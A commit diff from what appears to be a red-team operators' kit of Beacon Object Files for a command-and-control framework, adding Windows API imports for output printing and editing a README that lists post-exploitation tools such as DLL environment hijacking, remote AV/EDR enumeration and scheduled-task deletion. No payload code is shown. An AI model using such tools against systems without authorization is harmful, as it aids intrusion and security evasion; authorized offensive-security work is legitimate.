 DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
 DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
@@ -25,4 +8,14 @@ DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR p
 DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
 WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *);
 WINBASEAPI void WINAPI OLEAUT32$SysFreeString(BSTR);
-WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/SystemInfo/systeminfo.o


+ 2 - 2
README.md

@@ -15,7 +15,7 @@ The following tools are currently in the operators' kit:
 |**[DelTaskScheduler](KIT/DelTaskScheduler)**|Delete a scheduled task on the current- or a remote host.|
 |**[DllEnvHijacking](KIT/DllEnvHijacking)**|BOF implementation of DLL environment hijacking published by [Wietze](https://www.wietzebeukema.nl/blog/save-the-environment-variables).|
 |**[EnumLocalCert](KIT/EnumLocalCert)**|Enumerate all local computer certificates from a specific store.|
-|**[EnumSecProducts](KIT/EnumSecProducts)**|Enumerate security products (like AV/EDR) that are running on the system.|
+|**[EnumSecProducts](KIT/EnumSecProducts)**|Enumerate security products (like AV/EDR) that are running on the current/remote host.|
 |**[EnumShares](KIT/EnumShares)**|Enumerate remote shares and your access level using a predefined list with hostnames.|
 |**[EnumTaskScheduler](KIT/EnumTaskScheduler)**|Enumerate all scheduled tasks in the root folder.|
 |**[FindDotnet](KIT/FindDotnet)**|Find processes that most likely have .NET loaded.|
@@ -39,4 +39,4 @@ Each individual tool has its own README file with usage information and compile
 ## Credits
 A round of virtual applause to [reenz0h](https://twitter.com/SEKTOR7net). Lots of tools in this kit are based on his code examples from the Malware Development and Windows Evasion courses. I highly recommend purchasing them!
 
-Furthermore, some code from the [C2-Tool-Collection](https://github.com/outflanknl/C2-Tool-Collection) project is copied to neatly print beacon output. 
+Furthermore, some code from the [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c) project is copied to neatly print beacon output.